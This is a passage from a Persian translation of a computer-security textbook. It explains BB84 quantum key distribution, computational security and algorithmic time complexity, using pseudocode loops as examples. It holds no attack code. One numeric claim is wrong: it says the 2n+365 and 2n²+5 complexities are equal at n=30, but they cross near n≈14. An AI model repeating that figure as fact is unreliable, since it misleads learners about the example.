‫ﻣﺴﺌﻠﻪ ﺑﻬﺘﺮ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ ﮐﻪ ﭘﯿﺎم واﺿﺢ را ﺑﺎ ﻫﻤﺎن رﻣﺰی‪ ،‬رﻣﺰﻧﮕﺎری و ارﺳﺎل ﮐﻨﯿﻢ ﮐﻪ ﺑﺮای اﻧﺘﻘـﺎل ﭘﺮﮐﻨﻨـﺪه ﻣـﻮرد‬
‫اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﺮﻓﺖ‪.‬‬

‫‪ .4,1,3‬ﺗﻮزﯾﻊ ﮐﻮاﻧﺘﻮﻣﯽ ﮐﻠﯿﺪ‬

‫ﻇﻬﻮر ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ )ﻣﻘﺪاری( روﯾﺪادﻫﺎی ﺟﺎﻟﺒﯽ را ﺑﺮای دﻧﯿﺎی رﻣﺰﺷﻨﺎﺳﯽ ﺑـﻪ ارﻣﻐـﺎن ﻣـﯽ آورد‪ .‬ﯾﮑـﯽ از آﻧﻬـﺎ‪،‬‬
‫ﭘﯿﺎده ﺳﺎزی ﻋﻤﻠﯽ و واﻗﻌﯽ از ﻻﯾﻪ ﯾﮏ ﻃﺮﻓﻪ اﺳﺖ ﮐﻪ ﺑـﻪ واﺳـﻄﻪ ﺗﻮزﯾـﻊ ﮐﻠﯿـﺪ ﻣﻘـﺪاری اﻣﮑـﺎن ﭘـﺬﯾﺮ ﺷـﺪ‪ .‬راز ﺣـﺼﺎر‬
‫ﻣﻘﺪاری‪ 88‬ﻣﯽ ﺗﻮاﻧﺪ روش اﻣﻦ و ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎﻧﯽ را ﺑﺮای ﺗﻮزﯾﻊ رﺷﺘﻪ ای از ﺑﯿﺖ ﻫﺎ )ﮐﻪ ﻣﯽ ﺗﻮاﻧﻨﺪ ﺑﻪ ﻋﻨﻮان ﮐﻠﯿﺪ اﺳﺘﻔﺎده‬
‫ﺷﻮﻧﺪ( اراﺋﻪ دﻫﺪ‪ .‬اﯾﻦ ﻋﻤﻞ ﺑﺎ اﺳﺘﻔﺎده از ﻧﻮاﺣﯽِ ﻣﻘﺪاریِ ﻏﯿﺮ‪-‬ﻗﺎﺋﻢ‪ 89‬در ﻓﻮﺗﻮن ﻫﺎ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪.‬‬
‫ﺑﺪون ﭘﺮداﺧﺘﻦ ﺑﻪ ﺟﺰﺋﯿﺎت ﺑﯿﺸﺘﺮ ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﻻزم ﻣﯽ رود ﮐﻪ ﻗﻄﺒﯿﺖ ﯾﮏ ﻓﻮﺗﻮن‪ ،‬ﺟﻬﺖ ﻧﻮﺳﺎن ﻣﯿﺪان اﻟﮑﺘﺮﯾﮑﯽ آن‬
‫اﺳﺖ ﮐﻪ در اﯾﻦ ﻣﻮرد ﻣﯽ ﺗﻮاﻧﺪ ﯾﮑﯽ از ﺟﻬﺎت اﻓﻘﯽ‪ ،‬ﻋﻤﻮدی‪ ،‬ﯾﺎ ﯾﮑﯽ از دو ﻗﻄﺮ را اﺧﺘﯿﺎر ﮐﻨﺪ‪ .‬ﻋﺒﺎرت ﻏﯿﺮ‪-‬ﻗﺎﺋﻢ در ﺑﯿﺎن‬
‫ﺳﺎده ﯾﻌﻨﯽ ﻧﻮاﺣﯽ ای ﮐﻪ ﺑﻮاﺳﻄﻪ ﯾﮏ زاوﯾﻪ ﻏﯿﺮ ‪ 90‬درﺟﻪ از ﻫﻢ ﺟﺪا ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﺗﻌﯿﯿﻦ ﻗﻄﻌﯽِ ﻗﻄﺒﯿﺖ ﯾﮏ ﻓﻮﺗﻮن واﺣـﺪ‬
‫در ﺑﯿﻦ اﯾﻦ ﭼﻬﺎر ﻗﻄﺐ ﻏﯿﯿﺮ ﻣﻤﮑﻦ اﺳﺖ‪ .‬ﻣﺒﻨﺎی راﺳﺖ ﺧﻂ ﺑﻮدن ﻗﻄﺐ ﻫﺎی ﻋﻤﻮدی و اﻓﻘﯽ‪ ،‬ﺑﺎ ﻣﺒﻨﺎی ﻣـﻮرب ﺑـﻮدن دو‬
‫ﻗﻄﺐ ﻗﻄﺮی ﻧﺎﺳﺎزﮔﺎر اﺳﺖ‪ .‬ﻟﺬا اﯾﻦ دو ﻣﺠﻤﻮﻋﻪ از ﻗﻄﺒﻬﺎ را ﻧﻤﯽ ﺗﻮاﻧﺪ ﺑﺎ ﻫﻢ اﻧـﺪازه ﮔﯿـﺮی ﮐـﺮد )ﭘﯿـﺮو اﺻـﻞ ﻧـﺎﻣﻌﻠﻮم‬
‫ﺑﻮدن ﻫﺎﯾﺰﻧﺒﺮگ(‪ .‬ﻓﯿﻠﺘﺮﻫﺎ را ﻣﯽ ﺗﻮان ﺟﻬﺖ اﻧﺪازه ﮔﯿﺮی ﻗﻄﺐ ﻫﺎ ﺑﻪ ﮐﺎر ﺑﺮد‪ -‬ﯾﮑﯽ ﺑﺮای ﻣﺒﻨﺎی راﺳﺖ ﺑﻮدن و دﯾﮕﺮی‬
‫ﺑﺮای ﻣﺒﻨﺎی ﻣﻮرب ﺑﻮدن‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ﻓﻮﺗﻮن از ﻓﯿﻠﺘﺮ ﺻﺤﯿﺢ ﻣﯽ ﮔﺬرد‪ ،‬ﻗﻄﺒﯿﺘﺶ ﺗﻐﯿﯿﺮ ﻧﻤﯽ ﮐﻨﺪ‪ .‬اﻣﺎ ﻫﻨﮕﺎﻣﯽ ﮐـﻪ از‬
‫ﻓﯿﻠﺘﺮ ﻧﺎﺻﺤﯿﺢ ﻣﯽ ﮔﺬرد‪ ،‬ﻗﻄﺒﯿﺖ آن ﺑﻪ ﺻﻮرت ﺗﺼﺎدﻓﯽ ﺗﻐﯿﯿﺮ ﻣﯽ ﮐﻨﺪ‪ .‬ﯾﻌﻨﯽ ﻫـﺮ ﮔﻮﻧـﻪ ﺗـﻼش اﺳـﺘﺮاﻗﯽ ﺟﻬـﺖ اﻧـﺪازه‬
‫ﮔﯿﺮی ﻗﻄﺒﯿﺖ ﯾﮏ ﻓﻮﺗﻮن ﺑﻪ اﺣﺘﻤﺎل زﯾﺎد ﺳﺒﺐ ﺑﺮوز ﻧﺘﺎﯾﺠﯽ در داده ﻫﺎ )دﺳﺘﮑﺎری داده ﻫﺎ( ﻣﯽ ﺷﻮد و ﺑﻪ اﯾـﻦ ﺻـﻮرت‬
‫ﻧﺎ اﻣﻦ ﺑﻮدن ﮐﺎﻧﺎل واﺿﺢ ﻣﯽ ﮔﺮدد‪.‬‬
‫ﺟﻨﺒﻪ ﻫﺎی ﻧﺎﺷﻨﺎﺧﺘﻪ ﻣﮑﺎﻧﯿﮏ ﮐﻮاﻧﺘﻮم در اوﻟﯿﻦ و اﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ ﻃﺮح ﺗﻮزﯾﻊ ﮐﻠﯿـﺪ ﻣﻘـﺪاری ﯾﻌﻨـﯽ ‪ ،BB84‬ﺗﻮﺳـﻂ‬
‫ﭼﺎرﻟﺰ ﺑﻨﺖ )‪ (Charles Bennett‬و ﮔﯿﻠﺰ ﺑﺮاﺳﺎرد )‪(Gilles Brassard‬ﺑـﻪ ﮐـﺎر ﮔﺮﻓﺘـﻪ ﺷـﺪه اﺳـﺖ‪ .‬اﺑﺘـﺪا ﻓﺮﺳـﺘﻨﺪه و‬
‫ﮔﯿﺮﻧﺪه درﺑﺎره ﻧﻤﺎﯾﺶ ﺑﯿﺖ ﻫﺎ در راﺳﺘﺎی ﭼﻬﺎر ﻗﻄﺐ ﺗﻮاﻓﻖ ﻣﯽ ﮐﻨﻨﺪ‪ ،‬ﺑﻄﻮرﯾﮑﻪ ﻫـﺮ ﻣﺒﻨـﺎ ﻫـﻢ دارای ﺻـﻔﺮ و ﻫـﻢ دارای‬
‫ﯾﮏ ﺑﺎﺷﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻓﻮﺗﻮن ﻫﺎی ﻗﻄﺒﺶ ﯾﺎﻓﺘﻪ در راﺳﺘﺎی ﻋﻤﻮد و ﮔﺮوﻫﯽ از ﻓﻮﺗﻮن ﻫـﺎی ﻗﻄـﺒﺶ ﯾﺎﻓﺘـﻪ ی ﻣـﻮرب‬
‫)زاوﯾﻪ ﻣﺜﺒﺖ ‪ 45‬درﺟﻪ( ﻣﯽ ﺗﻮاﻧﻨﺪ ﻋﺪد ﯾﮏ را ﻧﻤﺎﯾﺶ دﻫﻨﺪ‪ .‬ﻫﻤﭽﻨـﯿﻦ‪ ،‬ﻓﻮﺗـﻮن ﻫـﺎی ﻗﻄـﺒﺶ ﯾﺎﻓﺘـﻪ در راﺳـﺘﺎی اﻓـﻖ و‬
‫ﻣﺠﻤﻮﻋﻪ دﯾﮕﺮ از ﻓﻮﺗﻮن ﻫﺎی ﻗﻄﺒﺶ ﯾﺎﻓﺘﻪ ی ﻣﻮرب )زاوﯾﻪ ﻣﻨﻔﯽ ‪ 45‬درﺟﻪ( ﻣﯽ ﺗﻮاﻧﻨﺪ ﻋﺪد ﺻﻔﺮ را ﻧﻤـﺎﯾﺶ دﻫﻨـﺪ‪ .‬ﺑـﻪ‬
‫اﯾﻦ ﺗﺮﺗﯿﺐ‪ ،‬ﻫﻨﮕﺎم اﻧﺪازه ﮔﯿﺮی ﻗﻄﺒﯿﺖ راﺳﺖ ﺧﻄﯽ و اﻧﺪازه ﮔﯿﺮی ﻗﻄﺒﯿﺖ ﻣﻮرب‪ ،‬ﯾـﮏ ﻫـﺎ و ﺻـﻔﺮﻫﺎ وﺟـﻮد ﺧﻮاﻫﻨـﺪ‬
‫داﺷﺖ‪.‬‬
‫ﺳﭙﺲ ﻓﺮﺳﺘﻨﺪه ﯾﮏ ﺟﺮﯾﺎن از ﻓﻮﺗﻮن ﻫﺎی ﺗﺼﺎدﻓﯽ را )ﮐﻪ ﻫﺮ ﯾـﮏ از ﯾـﮏ ﻣﺒﻨـﺎی اﻧﺘﺨـﺎب ﺷـﺪه ﺗـﺼﺎدﻓﯽ )راﺳـﺖ ﯾـﺎ‬
‫ﻣﻮرب( ﻣﯽ آﯾﻨﺪ( ارﺳﺎل ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ ﻓﻮﺗﻮن ﻫﺎ ﺛﺒﺖ ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﻫﻨﮕﺎم درﯾﺎﻓﺖ ﯾﮏ ﻓﻮﺗﻮن در ﻃﺮف ﮔﯿﺮﻧﺪه‪ ،‬او ﻧﯿﺰ ﺑـﻪ‬
‫ﺻﻮرت ﺗﺼﺎدﻓﯽ اﻧﺘﺨﺎب ﻣﯽ ﮐﻨﺪ ﮐﻪ ﻓﻮﺗﻮن را در ﻣﺒﻨﺎی راﺳﺖ اﻧﺪازه ﮔﯿﺮی ﮐﻨﺪ ﯾﺎ در ﻣﺒﻨﺎی ﻣﻮرب‪ .‬ﺳﭙﺲ ﻧﺘـﺎﯾﺞ ﺛﺒـﺖ‬
‫ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﮐﻨﻮن دو ﻃﺮف آﺷﮑﺎرا ﻣﺒﻨﺎی ﻣﻮرد اﺳﺘﻔﺎده در ﻃﺮف ﻣﻘﺎﺑﻞ را ﻣﻘﺎﯾﺴﻪ ﻣـﯽ ﮐﻨﻨـﺪ و ﺗﻨﻬـﺎ داده ﻫـﺎﯾﯽ را ﻧﮕـﻪ‬
‫داری ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﻓﻮﺗﻮن ﻫﺎی ﻣﺘﻨﺎﻇﺮ آﻧﻬﺎ در ﻫﺮ دو ﻃﺮف ﺑﺎ ﯾﮏ ﻣﺒﻨﺎ اﻧـﺪازه ﮔﯿـﺮی ﺷـﺪه اﺳـﺖ‪ .‬اﯾـﻦ ﻓﺮآﯾﻨـﺪ‪ ،‬ﮐﻠﯿـﺪ‬

‫‪88‬‬
‫‪Quantum Entanglement‬‬
‫‪89‬‬
‫‪Non-Orthogonal‬‬
‫‪148‬‬
‫ﻣﺮﺑﻮط ﺑﻪ ﻃﺮح ﻻﯾﻪ ﯾﮏ ﻃﺮﻓﻪ را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ ﺑﺎﯾﺪ ﺗﻮﺟﻪ داﺷﺖ ﮐﻪ ﻓﺮآﯾﻨﺪ‪ ،‬ﻣﻘﺎدﯾﺮ ﺑﯿﺘﯽِ ﻓﻮﺗـﻮن ﻫـﺎ را ﻓـﺎش ﻧﻤـﯽ‬
‫ﮐﻨﺪ‪ ،‬ﭼﻮن ﯾﮏ ﻫﺎ و ﺻﻔﺮﻫﺎ در ﻫﺮ دو ﻣﺒﻨﺎ وﺟﻮد دارﻧﺪ‪.‬‬
‫ﭼﻮن ﻫﺮﮔﻮﻧﻪ ﺗﻼش اﺳﺘﺮاﻗﯽ ﻧﻬﺎﯾﺘﺎ ﺗﻐﯿﯿﺮ ﻗﻄﺒﯿﺖ ﺑﻌﻀﯽ از اﯾﻦ ﻓﻮﺗﻮن ﻫﺎ را ﻣﺘﻮﻗﻒ ﻣﯽ ﮐﻨﺪ و ﻣﻮﺟﺐ دﺳﺘﮑﺎری داده ﻫﺎ‬
‫ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﺗﻼﺷﻬﺎی اﺳﺘﺮاﻗﯽ را ﻣﯽ ﺗﻮان ﺑﺎ ﺳﺮﻋﺖ ﺧﻄﺎی ﺑﻌﻀﯽ از زﯾﺮ ﻣﺠﻤﻮﻋﻪ ﻫـﺎی ﺗـﺼﺎدﻓﯽ ﮐﻠﯿـﺪ ﺗـﺸﺨﯿﺺ داد‪.‬‬
‫اﮔﺮ ﺧﻄﺎﻫﺎی زﯾﺎدی وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻣﯽ ﺗﻮان ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐﻪ اﺣﺘﻤﺎﻻ ﻓﺮدی در ﺣﺎل اﺳﺘﺮاق ﺑﻮده اﺳﺖ‪ ،‬ﻟﺬا ﮐﻠﯿـﺪ را‬
‫ﺑﺎﯾﺪ دور رﯾﺨﺖ و اﮔﺮ ﭼﻨﯿﻦ ﻧﺒﺎﺷﺪ‪ ،‬ﻣﯽ ﺗﻮان ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐﻪ اﻧﺘﻘﺎل ﮐﻠﯿﺪ در ﺣﺎﻟـﺖ اﯾﻤـﻦ و ﻣﺤﺮﻣﺎﻧـﻪ ﺻـﻮرت ﮔﺮﻓـﺖ‬
‫اﺳﺖ‪.‬‬

‫‪ .4,1,4‬اﻣﻨﯿﺖ ﻣﺤﺎﺳﺒﺎﺗﯽ‬

‫اﮔﺮ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺮای ﺷﮑﺴﺘﻦ ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﻧﯿﺎز ﺑﻪ زﻣﺎن و ﻣﻨﺎﺑﻊ ﻧـﺎﻣﻌﻘﻮﻟﯽ داﺷـﺘﻪ ﺑﺎﺷـﺪ‪ ،‬آﻧﮕـﺎه‬
‫آن ﺳﯿﺴﺘﻢ رﻣﺰی را اﺻﻄﻼﺣﺎ "اﯾﻤﻦ ﻣﺤﺎﺳﺒﻪ ای‪ "90‬ﻣﯽ داﻧﯿﻢ )ﯾﻌﻨﯽ از ﻟﺤﺎظ ﻣﺤﺎﺳـﺒﺎﺗﯽ اﯾﻤـﻦ ﺑﺎﺷـﺪ(‪ ،‬ﯾﻌﻨـﯽ از ﻟﺤـﺎظ‬
‫ﺗﺌﻮری ﻧﻔﻮذﮔﺮ ﺷﺎﯾﺪ ﻗﺎدر ﺑﻪ ﺷﮑﺴﺘﻦ رﻣﺰﻧﮕﺎری ﺑﺎﺷﺪ‪ ،‬اﻣﺎ در ﻋﻤﻞ‪ ،‬ﺑﻪ ﻋﻠﺖ ﺻﺮف زﻣﺎن و ﻣﻨﺎﺑﻊ زﯾﺎد ﭼﻨﯿﻦ ﮐـﺎری ﻏﯿـﺮ‬
‫ﻣﻤﮑﻦ ﯾﺎ ﻏﯿﺮ ﻋﺎﻗﻼﻧﻪ ﺑﻪ ﻧﻈﺮ رﺳﺪ‪ ،‬ﺑﻄﻮرﯾﮑﻪ ﺑﺪﺳﺖ آوردن اﻃﻼﻋـﺎت رﻣﺰﺷـﺪه ی ﻣـﺬﮐﻮر ارزش زﻣـﺎن و ﻣﻨـﺎﺑﻊ ﺻـﺮف‬
‫ﺷﺪه را ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ‪ .‬ﻣﻌﻤﻮﻻ زﻣﺎن ﻣﻮرد ﻧﯿﺎز ﺑﺮای ﺷﮑﺴﺘﻦ ﯾـﮏ ﺳﯿـﺴﺘﻢ رﻣـﺰیِ اﯾﻤـﻦ ﻣﺤﺎﺳـﺒﻪ ای‪ ،‬ﺣﺘـﯽ ﺑـﺎ در ﻧﻈـﺮ‬
‫ﮔﺮﻓﺘﻦ ﺻﻔﯽ ﻋﻈﯿﻢ از ﻣﻨﺎﺑﻊ ﻣﺤﺎﺳﺒﺎﺗﯽ )ﭘﺮدازش ﻣـﻮازی(‪ ،‬در ﻣﻘـﺎﯾﺲِ ﻫﺰارﺳـﺎل اﻧـﺪازه ﮔﯿـﺮی ﻣـﯽ ﺷـﻮد‪ .‬ﺑـﺴﯿﺎری از‬
‫ﺳﯿﺴﺘﻢ ﻫﺎی رﻣﺰی ﻣﺪرن در اﯾﻦ دﺳﺘﻪ ﺟﺎی ﻣﯽ ﮔﯿﺮﻧﺪ‪.‬‬
‫ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﻣﻬﻢ اﺳﺖ ﮐﻪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻫﺎ ﺟﻬﺖ ﺷﮑﺴﺘﻦ ﺳﯿﺴﺘﻢ ﻫـﺎی رﻣـﺰی داﺋﻤـﺎ در ﺣـﺎل رﺷـﺪ‪،‬‬
‫ﺗﻮﺳﻌﻪ و ﻧﻤﻮ ﻫﺴﺘﻨﺪ‪ .‬در ﺷﺮاﯾﻂ آرﻣﺎﻧﯽ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﯾﺎد ﺷﺪ‪ ،‬ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﻫﻨﮕـﺎﻣﯽ اﯾﻤـﻦ ﻣﺤﺎﺳـﺒﻪ ای در ﻧﻈـﺮ‬
‫ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﺑﻬﺘﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺟﻬﺖ ﺷﮑﺴﺘﻦ آن ﻧﯿﺎز ﺑﻪ زﻣﺎن و ﻣﻨﺎﺑﻊ ﻣﺤﺎﺳﺒﺎﺗﯽ ﻧﺎﻣﻌﻘﻮل داﺷﺘﻪ ﺑﺎﺷﺪ‪ .‬اﻣـﺎ راﻫـﯽ‬
‫ﺟﻬﺖ اﺛﺒﺎت ﺑﻬﺘﺮﯾﻦ ﺑﻮدن و ﺑﻬﺘﺮﯾﻦ ﻣﺎﻧﺪن ﯾﮏ اﻟﮕﻮرﯾﺘﻢِ ﺷﮑﺴﺖ رﻣﺰ وﺟﻮد ﻧﺪارد‪ ،‬ﻟﺬا در ﺗﻌﺮﯾـﻒ ﺑـﺎﻻ‪ ،‬ﺷـﺎﺧﺘﻪ ﺷـﺪه‬
‫ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢِ ﻓﻌﻠﯽ ﺟﻬﺖ اﻧﺪازه ﮔﯿﺮی اﻣﻨﯿﺖ ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﺑﻪ ﮐﺎر ﻣﯽ رود‪.‬‬

‫‪ .4,2‬زﻣﺎن اﺟﺮای اﻟﮕﻮرﯾﺘﻤﯽ‬

‫زﻣﺎن اﺟﺮای اﻟﮕﻮرﯾﺘﻤﯽ اﻧﺪﮐﯽ ﺑﺎ زﻣﺎن اﺟﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﺘﻔﺎوت اﺳﺖ‪ .‬ﭼﻮن اﻟﮕﻮرﯾﺘﻢ ﺻﺮﻓﺎ ﯾﮏ اﯾﺪه و ﻧﻈﺮﯾـﻪ اﺳـﺖ‪،‬‬
‫ﻟﺬا ﻣﺤﺪودﯾﺘﯽ در ﺳﺮﻋﺖ ﭘﺮدازش ﺑﺮای ارزﯾﺎﺑﯽ اﻟﮕﻮرﯾﺘﻢ وﺟﻮد ﻧﺪارد‪ .‬ﯾﻌﻨﯽ ﺑﯿﺎن ﮐـﺮدن زﻣـﺎن اﺟـﺮای اﻟﮕـﻮرﯾﺘﻢ در‬
‫ﻗﺎﻟﺐ دﻗﯿﻘﻪ ﯾﺎ ﺛﺎﻧﯿﻪ ﺑﯽ ﻣﻌﻨﯽ اﺳﺖ‪.‬‬
‫ﺻﺮﻓﻨﻈﺮ از ﻓﺎﮐﺘﻮرﻫﺎﯾﯽ ﺑﻤﺎﻧﻨﺪ ﺳﺮﻋﺖ و ﻣﻌﻤﺎری ﭘﺮدازﻧﺪه‪ ،‬ﻣﻬﻢ ﺗـﺮﯾﻦ ﻋﺎﻣـﻞ ﻧﺎﺷـﻨﺎﺧﺘﻪ ﺑـﺮای ﯾـﮏ اﻟﮕـﻮرﯾﺘﻢ‪ ،‬اﻧـﺪازه‬
‫ورودی )‪ (Input Size‬اﺳﺖ‪ .‬ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﮐﻪ ‪ 1000‬ﻋﻨـﺼﺮ را ﻣﺮﺗـﺐ ﻣـﯽ ﮐﻨـﺪ‪ ،‬ﻣﻄﻤﺌﻨـﺎ زﻣـﺎن ﺑﯿـﺸﺘﺮی ﻧـﺴﺒﺖ ﺑـﻪ‬
‫اﻟﮕﻮرﯾﺘﻤﯽ ﻣﯽ ﮔﯿﺮد ﮐﻪ ﻫﻤﺎن ﻣﺮﺗﺐ ﺳﺎزی را روی ‪ 10‬ﻋﻨﺼﺮ اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ .‬ﻣﻌﻤﻮﻻ اﻧﺪازه ورودی ﺑـﺎ ‪ n‬ﻣـﺸﺨﺺ ﻣـﯽ‬
‫ﺷﻮد و ﻫﺮ ﮔﺎم رﯾﺰ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺷﻤﺎره اﻧﮕﺎﺷﺘﻪ ﻣﯽ ﺷﻮد‪ .‬زﻣﺎن اﺟﺮای ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﺳـﺎده )ﻣﺎﻧﻨـﺪ ﻣـﻮرد زﯾـﺮ( را ﻣـﯽ‬
‫ﺗﻮان در ﻗﺎﻟﺐ ﺟﻤﻼﺗﯽ از ‪ n‬ﺑﯿﺎن ﮐﺮد‪.‬‬
‫)‪For (i = 1 to n‬‬
‫{‬
‫;‪Do something‬‬
‫;‪Do another thing‬‬
‫}‬

‫‪90‬‬
‫‪Computationally-Secure‬‬
‫‪149‬‬
‫;‪Do one last thing‬‬
‫اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ‪ n‬ﺑﺎر ﻣﯽ ﭼﺮﺧﺪ )‪ (loop‬ﮐﻪ در ﻫﺮ ﺑﺎر ﭼﺮﺧﻪ‪ ،‬دو ﻋﻤﻞ اﻧﺠﺎم ﻣﯽ دﻫـﺪ و ﺳـﺮاﻧﺠﺎم در آﺧـﺮﯾﻦ ﺑـﺎر‪ ،‬ﻋﻤـﻞ‬
‫آﺧﺮ را اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ .‬ﻟﺬا ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ‪ 91‬ﺑﺮای اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺎﯾﺴﺘﯽ ‪ 2n+1‬ﺑﺎﺷﺪ‪ .‬ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﭘﯿﭽﯿﺪه ﺗﺮ ﺑﺎ ﯾـﮏ‬
‫ﭼﺮﺧﻪ ﺗﻮدرﺗﻮی اﺿﺎﻓﯽ )ﻣﺎﻧﻨﺪ ﻣﻮرد زﯾﺮ(‪ ،‬ﯾﮏ ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﺑﺮاﺑـﺮ ﺑـﺎ ‪ n2 + 2n + 1‬ﺧﻮاﻫـﺪ داﺷـﺖ‪ ،‬ﭼﻮﻧﮑـﻪ ﻋﻤـﻞ‬
‫ﺟﺪﯾﺪ‪ n2 ،‬ﺑﺎر اﺟﺮا ﻣﯽ ﺷﻮد‪.‬‬
‫)‪For(x = 1 to n‬‬
‫{‬
‫)‪For(y = 1 to n‬‬
‫{‬
‫;‪Do the new action‬‬
‫}‬
‫}‬
‫)‪For(i = 1 to n‬‬
‫{‬
‫;‪Do something‬‬
‫;‪Do another thing‬‬
‫}‬
‫;‪Do one last thing‬‬
‫اﻣﺎ اﯾﻦ ﺳﻄﺢ از ﺟﺰﺋﯿﺎت ﺑﺮای ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﻧﯿﺰ ﻫﻨﻮز ﺑﺴﯿﺎر ﻓﺎﺻـﻠﻪ دار اﺳـﺖ‪ .‬ﺑـﺮای ﻣﺜـﺎل‪ ،‬ﺑـﻪ ﻫﻤـﺎن ﻣﯿـﺰان ﮐـﻪ ‪n‬‬
‫ﺑﺰرﮔﺘﺮ ﻣﯽ ﮔﺮدد‪ ،‬ﺗﻔﺎوت ﻧﺴﺒﯽ ﺑﯿﻦ ‪ 2n + 5‬و ‪ 2n + 365‬ﮐﻤﺘـﺮ ﻣـﯽ ﮔـﺮدد‪ .‬در ﺻـﻮرﺗﯽ ﮐـﻪ ﺑـﻪ ﻫﻤـﺎن ﻣﯿـﺰان ﮐـﻪ ‪n‬‬
‫ﺑﺰرﮔﺘﺮ ﻣﯽ ﺷﻮد‪ ،‬ﺗﻔﺎوت ﻧﺴﺒﯽ ﺑﯿﻦ ‪ 2n2 + 5‬و ‪ 2n + 5‬ﻧﯿﺰ ﺑﺰرﮔﺘﺮ ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﮔﺮاﯾﺶ ﮐﻠـﯽ ﻣﻬـﻢ ﺗـﺮﯾﻦ ﻣـﺴﺌﻠﻪ ای‬
‫اﺳﺖ ﮐﻪ در راﺑﻄﻪ ﺑﺎ زﻣﺎن اﺟﺮای ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﻣﻄﺮح اﺳﺖ‪.‬‬
‫دو اﻟﮕﻮرﯾﺘﻢ را در ﻧﻈﺮ ﺑﮕﯿﺮﯾﺪ‪ :‬ﯾﮑﯽ ﺑﺎ ﯾﮏ ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ‪ 2n + 365‬و دﯾﮕﺮی ‪ .2n2 + 5‬اﻟﮕـﻮرﯾﺘﻢ دوم )‪(2n2 + 5‬‬
‫ﺑﻪ ازای ﻣﻘﺎدﯾﺮ ﮐﻮﭼﮏ ‪ ،n‬از ﮐﺎرآﯾﯽ اﻟﮕﻮرﯾﺘﻢ اول )‪ (2n + 365‬ﺑﻬﺘﺮ ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ‪ .‬اﻣﺎ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ‪ ،n = 30‬آﻧﮕﺎه ﻫـﺮ‬
‫دو اﻟﮕﻮرﯾﺘﻢ ﯾﮑﺴﺎن ﻋﻤﻞ ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﻫﻤﭽﻨﯿﻦ ﺑﺮای ﺗﻤﺎم ‪ n‬ﻫﺎی ﺑﺰرﮔﺘﺮ از ‪ ،30‬اﻟﮕـﻮرﯾﺘﻢ اول ﻧـﺴﺒﺖ ﺑـﻪ اﻟﮕـﻮرﯾﺘﻢ دوم‬
‫ﺑﻬﺘﺮ ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ‪ .‬ﭼﻮن ﻓﻘﻂ ﺑﻪ ازای ‪ 30‬ﻣﻘﺪار ﺑﺮای ‪ ،n‬اﻟﮕﻮرﯾﺘﻢ دوم ﻧﺴﺒﺖ ﺑﻪ اﻟﮕـﻮرﯾﺘﻢ اول ﺑﻬﺘـﺮ ﻋﻤـﻞ ﮐـﺮده و ﺑـﻪ‬
‫ازای ﻣﻘﺎدﯾﺮ ﻧﺎﻣﺤﺪود ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺮای ‪ ،n‬اﻟﮕﻮرﯾﺘﻢ اول ﺑﻬﺘﺮ ﻋﻤﻞ ﻣـﯽ ﮐﻨـﺪ‪ ،‬ﻟـﺬا در ﻣﺠﻤـﻮع ﻣـﯽ ﺗـﻮان اﻟﮕـﻮرﯾﺘﻢ اول را‬
